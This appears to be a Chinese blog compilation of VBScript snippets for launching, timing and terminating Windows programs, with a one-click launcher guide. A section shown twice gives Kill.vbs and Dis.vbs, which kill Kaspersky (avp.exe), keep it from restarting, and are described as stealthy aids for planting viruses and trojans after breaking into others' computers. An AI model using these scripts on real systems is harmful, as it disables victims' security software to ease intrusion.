1、定时运行程序与关闭程序的VBS处理方法:

do

set ws=createobject("wscript.shell")

ws.run"你要运行的程序的路径(比如说d:\qq.exe)",x 'x为参数,可选值如下.

wscript.sleep 36000 '36000为一分钟,具体可以自己改。

ws.run "taskkill /im 你要运行的程序的名称(比如说QQ.exe) /f",vbhide

loop
x为参数 下面为可选值:

0 隐藏一个窗口并激活另一个窗口。

1 激活并显示窗口。如果窗口处于最小化或最大化状态,则系统将其还原到原始大小和位置。第一次显示该窗口时,应用程序应指定此标志。

2 激活窗口并将其显示为最小化窗口。

3 激活窗口并将其显示为最大化窗口。

4 按最近的窗口大小和位置显示窗口。活动窗口保持活动状态。

5 激活窗口并按当前的大小和位置显示它。

6 最小化指定的窗口,并按照 Z 顺序激活下一个顶部窗口。

7 将窗口显示为最小化窗口。活动窗口保持活动状态。

8 将窗口显示为当前状态。活动窗口保持活动状态。

9 激活并显示窗口。如果窗口处于最小化或最大化状态,则系统将其还原到原始大小和位置。还原最小化窗口时,应用程序应指定此标志。

10 根据启动应用程序的程序状态来设置显示状态。

2、VBS控制应用程序的打开关闭
关闭所有excel文件
Set ObjShell=CreateObject("Wscript.Shell")
SttCommand=("cmd.exe /C  Taskkill  /f /im Excel.exe")
ObjShell.Run SttCommand, 0, False

用vbs打开程序 
 
检查程序,如已有就不打开!
 
pro="c:\windows\system32\notepad.exe"'要打开的程序,写完整路径
 
n=split(pro,"\")
name=n(ubound(n))
 
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ 
s=s&sep&ps.name:sep="|":next
s=split(s,"|")
for i=0 to ubound(s)
if name=s(i) then wscript.quit
next
 
createobject("wscript.shell").run pro
 
====================================================================
 
vbs打开关闭应用程序
 
'1.打开关闭应用程序
 
Set WshShell = CreateObject("WScript.Shell")
'打开应用程序
 
Set oExec = WshShell.Exec("C:\WINDOWS\system32\notepad.exe")
WScript.Sleep 5000
WshShell.AppActivate oExec.ProcessID
 
WScript.Sleep 100
通过快捷键关闭程序
 
WshShell.SendKeys "%{F4}"
 
Set oExec = Nothing
 
 
'2. 通过进程名关闭程序
 
set WshShell =createobject("wscript.shell") 
'暂停3000毫秒 
wscript.sleep 3000
 
'关闭记事本. 关闭程序得知道程序的进程名,在任务管理器里面.
WshShell.run "cmd.exe /c taskkill /f /im notepad.exe /t",0
 
==========================================================================
用VBS实现脚本结束进程与防止进程启动
 
Kill.vbs用来在cmd下结束进程,Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉,并且有一定的隐蔽性……看代码!('为注释)  
Kill.vbs: 
for each ps in getobject _  
("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI脚本入侵技术,我不能解释清楚!  
if ps.handle=wscript.arguments(0) then '判断进程的PID号是否与获得的PID号参数相等  
wscript.echo ps.terminate '如果相等就结束指定PID号对应的进程  
end if  
next  
 
Dis.vbs:
dim y,x '不要这行也行……  
do '来个死循环……一直在判断!do ... loop内为循环体!  
set y=getobject("winmgmts:\\.\root\cimv2") '和上面解释一样,这也是涉及到微软的WMI技术!  
set x=y.execquery("select * from win32_process where name='avp.exe'")  
'查询语句,where后判断avp.exe(卡巴)是否存在进程中!  
'这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。除非,把Dis.vbs结束了先……  
for each i in x  
i.terminate() '卡巴要启动马上就终止……  
next  
wscript.sleep  
loop  
解释够清楚了,那就来看看这两个vbs是如何工作的吧。我将Kill.vbs与Dis.vbs放在C盘根目录下。  
打开cmd,输入cd\回到C盘根目录下,输入tasklist查看当前系统的进程情况,然后记下你想kill的进程的PID号,输入cscript Kill.vbs 2200即可结束PID为2200的进程了!假如这个进程是avp.exe,那你就可以输入Dis.vbs启动Dis.vbs来防止卡巴继续被启动。Dis.vbs启动时仅在任务管理器的进程中有wscript.exe进程项,要是不结束这个进程是无法再次启动卡巴的。  
懂得这些,为以后入侵他人电脑后上传病毒、木马之类的就更方便了一点点……上面的所有过程都经本人试验成功了,继续完善……  
 
 
=========================================================================
 
VBS,自动结束进程
 
先写上脚本代码先:
 
do while(1)
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\" & strComputer & "rootcimv2")
Set colProcessList1 = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'iexplore.exe'")
For Each objProcess1 in colProcessList1
objProcess1.Terminate()
Next
Set colProcessList2 = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'notepad.exe'")
For Each objProcess2 in colProcessList2
objProcess2.Terminate()
Next
Set colProcessList3 = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'ping.exe'")
For Each objProcess3 in colProcessList3
objProcess3.Terminate()
Next
Wscript.Sleep(1000)
Loop
 
把上面的代码用记事本保存先,上面的3个红色的进程名则是我要终止的进程名(注:一定要写全名哦~)
 
如果你要禁止多个进程只需把上面的蓝色部分代码段多复制几下,然后把其中红色部分的进程名改为你
 
想终止的进程名即可。
 
最下面的红色的“1000”表示脚本循环运行一次的周期时间,默认单位为:毫秒。1000毫秒即=1秒
 
就是说每1秒循环一次,自己可以根据你的实际情况自由改动
 
OK,代码都改好之后就可以把记事本的后缀名改为“.vbs”并运行可以了,你在看看你禁用掉的进程还可以
 
运行吗?呵呵,是不是感觉很不错,呵呵~
 
如果想把这个运行的VBS脚本关掉,请在任务栏把进程wscript.exe结束掉先,然后再把wmiprvse.exe结束掉
 
就可以啦~
 
另外请不要重复运行改好的脚本,否则任务栏里会出现多个wscript.exe进程,如果有多个这样的进程请手动
 
结束掉多余的,只留一个就OK啦
 
如果你想开机就自动执行的话,请把这个脚本放到启动栏里就可以了。
 
总的来说还是很实用的,例如机器中了病毒或者木马,找到它的进程名,然后把它的进程名添加到脚本里,
 
开启脚本,这样就能防止病毒进一步爆发减少你的损失,接下来就可以慢慢进行排毒工作了
 
 

3、用vbs打开程序

检查程序,如已有就不打开!

pro="c:\windows\system32\notepad.exe"'要打开的程序,写完整路径

n=split(pro,"\")
name=n(ubound(n))

for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
s=s&sep&ps.name:sep="|":next
s=split(s,"|")
for i=0 to ubound(s)
if name=s(i) then wscript.quit
next

createobject("wscript.shell").run pro

====================================================================

vbs打开关闭应用程序

'1.打开关闭应用程序

Set WshShell = CreateObject("WScript.Shell")
'打开应用程序

Set oExec = WshShell.Exec("C:\WINDOWS\system32\notepad.exe")
WScript.Sleep 5000
WshShell.AppActivate oExec.ProcessID

WScript.Sleep 100
通过快捷键关闭程序

WshShell.SendKeys "%{F4}"

Set oExec = Nothing

'2. 通过进程名关闭程序

set WshShell =createobject("wscript.shell")
'暂停3000毫秒
wscript.sleep 3000

'关闭记事本. 关闭程序得知道程序的进程名,在任务管理器里面.
WshShell.run "cmd.exe /c taskkill /f /im notepad.exe /t",0
 
==========================================================================
用VBS实现脚本结束进程与防止进程启动

Kill.vbs用来在cmd下结束进程,Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉,并且有一定的隐蔽性……看代码!('为注释) 
Kill.vbs:
for each ps in getobject _ 
("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI脚本入侵技术,我不能解释清楚! 
if ps.handle=wscript.arguments(0) then '判断进程的PID号是否与获得的PID号参数相等 
wscript.echo ps.terminate '如果相等就结束指定PID号对应的进程 
end if 
next

Dis.vbs:
dim y,x '不要这行也行…… 
do '来个死循环……一直在判断!do ... loop内为循环体! 
set y=getobject("winmgmts:\\.\root\cimv2") '和上面解释一样,这也是涉及到微软的WMI技术! 
set x=y.execquery("select * from win32_process where name='avp.exe'") 
'查询语句,where后判断avp.exe(卡巴)是否存在进程中! 
'这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。除非,把Dis.vbs结束了先…… 
for each i in x 
i.terminate() '卡巴要启动马上就终止…… 
next 
wscript.sleep 
loop 
解释够清楚了,那就来看看这两个vbs是如何工作的吧。我将Kill.vbs与Dis.vbs放在C盘根目录下。 
打开cmd,输入cd\回到C盘根目录下,输入tasklist查看当前系统的进程情况,然后记下你想kill的进程的PID号,输入cscript Kill.vbs 2200即可结束PID为2200的进程了!假如这个进程是avp.exe,那你就可以输入Dis.vbs启动Dis.vbs来防止卡巴继续被启动。Dis.vbs启动时仅在任务管理器的进程中有wscript.exe进程项,要是不结束这个进程是无法再次启动卡巴的。 
懂得这些,为以后入侵他人电脑后上传病毒、木马之类的就更方便了一点点……上面的所有过程都经本人试验成功了,继续完善……

4、制作 一键启动程序,用vbs文件实现

 

教你制作 一键启动程序,用vbs文件实现

相信许多办公室一族都有这样的经历:每次打开电脑都要逐一开启N个即时通讯工具和Email客户端,鼠标点不够几十次根本无法开始工作,还没正式投入战斗,就已经倦了。虽然我们可以将其全部设为开机自动启动,但这会大大减慢开机速度,而且在不需要它们的非工作日无法临时取消。

如果,能有一款软件,使我们只点一次鼠标或是按一个键,就能将这些程序全部启动就好了。其实,Windows本身就有这样的功能,我们只需编写一个脚本即可。

首先,我们要准备好待启动程序的完整路径。对绝大多数程序来说,只需在开始菜单内的相应软件名上点右键,选“属性”,然后将“目标”中的文字复制下来即可。

但有几个程序比较特殊,用这种方法找不到其路径,比如MSN Messenger和Microsoft Office中的Word、Excel等组件。下面是这些程序在默认情况下的完整路径,如果您是自定义安装,则需根据情况略作修改。
MSN Messenger: "C:\Program Files\MSN Messenger\msnmsgr.exe"
Word: "C:\Program Files\Microsoft Office\Office12\WINWORD.EXE"
(注:这是Office2007的情况,如果是Office2003或OfficeXP,需把路径中的Office12换成Office11或Office10,下同)
Excel: "C:\Program Files\Microsoft Office\Office12\EXCEL.EXE"
Access: "C:\Program Files\Microsoft Office\Office12\MSACCESS.EXE"
PowerPoint: "C:\Program Files\Microsoft Office\Office12\POWERPNT.EXE"
接下来,新建一个文本文档,按下面格式将你要启动的程序输进去:
Program1 = "C:\Program Files\Tencent\QQ\QQ.exe"
Program2 = "C:\Program Files\MSN Messenger\msnmsgr.exe"
Program3 = "C:\Program Files\Outlook Express\msimn.exe"
Program4 = "C:\Program Files\Microsoft Office\Office12\EXCEL.EXE"
……

输完以后,再根据你上面输入的行数继续输入下面命令。
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program1)
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program2)
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program3)
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program4)
……

然后将此文件保存在任一目录下,并将扩展名改为vbs,再点右键,选“发送到→桌面快捷方式”。最后到桌面上找到这个快捷方式,点右键选“属性”在“快捷键”中设置一个快捷键(如F9)。

以后再开机,只须轻轻按一下F9键,就能启动你需要的全部程序.

VBS脚本随笔的更多相关文章

  1. 工控随笔_21_西门子_WinCC的VBS脚本_10_对象_01

    最近有点小忙,各种事情,心情也不是很好,烦心事特别多,因此最近更新的比较慢. 不敢再松懈了,今天正好有点时间,就继续看了一下VBScript中关于对象的一些内容. 一.对象 OOP是编程规模发展到一定 ...

  2. 工控随笔_18_西门子_WinCC的VBS脚本_07_变量作用域和传值、传址

    在vbs脚本中也存在和其他编程语言一样的概念,那就是变量的作用域,变量的作用域决 定在什么范围内可以访问. 同样的在vbs脚本中对于变量也有一个生命周期, 变量的生命周期决定了变量的存续时间 这个主要 ...

  3. 工控随笔_12_西门子_WinCC的VBS脚本_03_变量类型

    说到编程语言,总是绕不开数据类型,因为数据类型决定了数据可以进行什么样的操作.同时数据类型 从广义上来说是一种数据结构,在过程式编程的过程中,曾经有过这样一种说法: 程序 = 数据结构 + 算法 可见 ...

  4. 工控随笔_11_西门子_WinCC的VBS脚本_02_运算符

    VBS脚本做为编程语言,提供了很多的运算符,通过这些运算符,可以实现不同的操作.运算符具有不同的类型 不同的运算符之间具有运算优先级. 一.运算符的分类 大体分为以下几类: 1.赋值运算符 2.算术运 ...

  5. 工控随笔_10_西门子_WinCC的VBS脚本_01_基础入门

    很多人都认为VB语言或者VBS脚本语言是一种很low的语言,从心里看不起VB或者VBS, 但是其实VBS不仅可以做为系统管理员的利器,同样在工控领域VBS语言大有用武之地. 西门子的WinCC提供了两 ...

  6. 使用vbs脚本进行批量编码转换

    使用vbs脚本进行批量编码转换 最近需要使用SourceInsight查看分析在Linux系统下开发的项目代码,我们知道Linux系统中文本文件默认编码格式是UTF-8,而Windows中文系统中的默 ...

  7. 在本地主机上powershell中连接远程主机执行vbs脚本,得到执行结果(2008版及以上)

    在桌面版的主机上远程管理服务器版主机,在本地powershell中连接远程主机执行vbs脚本,得到执行结果. 执行步骤: 1.将本地主机上的Hyper.vbs复制到远程连接主机上.例如,本地vbs脚本 ...

  8. [VBS]脚本中的字典、动态数组、队列和堆栈

    今天用VBS脚本写了几个程序,用到了字典(Dictionary).动态数组(ArrayList).队列(Queue)和堆栈(Stack).现在写篇Blog总结一下 :-) 1.编写环境 今天突发奇想下 ...

  9. Vbs脚本经典教材(转)

    Vbs脚本经典教材(最全的资料还是MSDN) —为什么要使用Vbs? 在Windows中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制.粘贴.改 ...

随机推荐

  1. angular中重要指令介绍($eval,$parse和$compile)

    在angular的服务中,有一些服务你不得不去了解,因为他可以说是ng的核心,而今天,我要介绍的就是ng的两个核心服务,$parse和$compile.其实这两个服务讲的人已经很多了,但是100个读者 ...

  2. 如何在VS2013中显示代码行号

    http://jingyan.baidu.com/article/af9f5a2d2e193543140a4533.html

  3. JS获取网页中HTML元素的几种方法分析

    getElementById getElementsByName getElementsByTagName 大概介绍 getElementById ,getElementsByName ,getEle ...

  4. 高级CSS

    target="_black"新窗口打开,且打开第二个链接出来的页面覆盖第一个页面 .ui-pg-table td[dir="ltr"]{*width:94px ...

  5. Chapter 2 Open Book——12

    I called him in when dinner was ready, and he sniffed appreciatively as he walked into the room. 当晚饭 ...

  6. 第三十七节,hashlib加密模块

    在使用hashlib模块时需要先 import hashlib 引入模块 用于加密相关的操作,代替了md5模块和sha模块,主要提供 SHA1, SHA224, SHA256, SHA384, SHA ...

  7. 第13章 Swing程序设计----JFrame窗体

    JFrame窗体是一个容器,它是Swing程序中各个组件的载体,可以将JFrame看作是承载这些Swing组件的容器. 在开发应用程序时可以通过继承java.swing.JFrame类创建一个窗体,在 ...

  8. PAXOS may not terminate

    It’s easy to see that Paxos does have a failure mode. When two proposers are active at the same time ...

  9. Ubuntu DNS bind9 配置

    下面的配置就是实现解析test.zp.com到不同的IP地址 安装dns server软件包$ apt-get install bind9 配置dns配置文件的路径在/etc/bind路径下面添加一个 ...

  10. [code]判断周期串

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include<stdio.h> #include<string.h> ...